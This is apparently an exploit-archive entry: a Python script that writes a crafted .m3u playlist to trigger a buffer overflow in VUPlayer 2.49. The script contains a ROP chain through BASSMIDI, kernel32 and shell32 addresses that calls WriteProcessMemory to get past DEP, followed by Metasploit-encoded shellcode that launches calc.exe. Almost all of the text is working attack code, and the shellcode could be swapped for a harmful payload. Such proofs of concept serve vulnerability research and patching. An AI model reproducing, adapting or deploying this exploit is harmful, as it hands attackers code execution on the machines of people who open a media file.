VUPlayer 2.49 – ‘.m3u’ File Universal Buffer Overflow (DEP Bypass) (1)
#!/usr/bin/env python # # VUPlayer <=2.49 .M3u Universal buffer overflow exploit w/ DEP bypass # Author: mr_me # Download: http://vuplayer.com/ # Tested on Wind0ws XP SP3 /noexecute=alwayson # Greetz: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # DEP AlwaysOn bypass version # Thanks to Sud0 & Lincoln, for the motivation to learn this :-) # # http://www.metasploit.com # EXITFUNC=process, CMD=calc.exe sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" "\x51\x42\x4c\x42\x43\x43\x30\x41\x41"); crash = "HTTP://" + "\x41" * 1005 rop = "\xd3\x72\x60\x10" # POPAD # JE SHORT BASSMIDI.10607337 : 0x106072D3 rop += "\x2f\x10\x60\x10" # POP EDI # MOV EAX,ESI # POP ESI # RETN : 0x1060102F rop += "\x13\x22\x80\x7c" # @ of WriteProcessMemory() : 0x7C802213 rop += "\xcf\x22\x80\x7c" # Address to patched in kernel32 : 0x7C8022CF rop += "\x44\x44\x44\x44" # JUNK : 0x44444444 rop += "\xff\xff\xff\xff" # start @ -1 for shellcode size : 0xffffffff rop += "\x15\x10\x10\x10" # This @ from .data segment of app dll : 0x10101015 rop += "\x44\x44\x44\x44" # JUNK : 0x44444444 rop += "\x44\x44\x44\x44" # JUNK : 0x44444444 rop += "\x44\x44\x44\x44" # JUNK : 0x44444444 rop += "\x79\x21\x60\x10" # POP EDI # POP ESI # RETN : 0x10602179 rop += "\x88\x71\x60\x10" # CALL EAX : 0x10607188 rop += "\xff\xff\xff\xff" # -hProcess argv[1] : 0xffffffff # Get the length of shellcode - @ from kernel32 rop += "\x6f\x10\x81\x7c" * 305 # INC EBX # RETN : 0x7C81106F # push all args on the stack for WPM() - @ from shell32.dll rop += "\xf9\x18\xa1\x7c" # PUSHAD # RETN : 0x7CA118F9 buffer = crash + rop + sc print "[+] Building .m3u file" file = open('cst-vuplayer.m3u','w'); file.write(buffer); file.close(); print "[+] Done" |